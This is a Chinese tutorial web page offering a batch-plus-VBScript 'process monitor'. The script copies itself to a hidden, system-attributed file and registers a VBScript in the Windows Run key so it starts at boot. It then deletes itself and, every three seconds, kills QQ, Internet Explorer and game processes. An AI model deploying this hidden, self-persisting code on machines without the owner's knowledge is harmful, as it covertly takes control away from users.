当前位置： 移动技术网 > IT编程>脚本编程>VBScript > 进程监控实现代码[vbs+bat]

进程监控实现代码[vbs+bat]

2017年12月08日  | 移动技术网IT编程  | 我要评论

西安裤带面,群发器破解版,tangscan

运行后会在%windir%\system32\目录下生成jk.vbs，
并且自动添加注册表启动项，另外在d:\会生成一个隐藏属性的jk.vbs，
3秒间隔监控进程，如果进程中有qq.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。
复制代码 代码如下:

@echo off
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul
if exist d:\jk.bat del d:\jk.bat /q
copy %0 d:\jk.bat /y >nul
attrib +s +h +a +r d:\jk.bat
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs
echo y|reg add hklm\software\microsoft\windows\currentversion\run /v data /t reg_sz /d c:\windows\system32\jk.vbs >nul
echo do>>%windir%\system32\jk.vbs
echo wscript.sleep 3000>>%windir%\system32\jk.vbs
echo strcomputer = "." >>%windir%\system32\jk.vbs
echo set objwmiservice = getobject("winmgmts:\\" ^& strcomputer ^& "\root\cimv2") >>%windir%\system32\jk.vbs
echo set colitems = objwmiservice.execquery( _>>%windir%\system32\jk.vbs
echo "select * from win32_process",,48)>>%windir%\system32\jk.vbs
echo for each objitem in colitems >>%windir%\system32\jk.vbs
echo if objitem.name="qq.exe" or objitem.name="iexplore.exe" or _>>%windir%\system32\jk.vbs
echo objitem.name="client.exe" or objitem.name="game.exe" _>>%windir%\system32\jk.vbs
echo then objitem.terminate()>>%windir%\system32\jk.vbs
echo next>>%windir%\system32\jk.vbs
echo loop>>%windir%\system32\jk.vbs
start %windir%\system32\jk.vbs
del %0 /q

您可能感兴趣的文章:

如对本文有疑问，请在下面进行留言讨论，广大热心网友会与你互动！！ 点击进行留言回复

相关文章:

验证码：
最近更新的文章
大家感兴趣的文章
移动技术网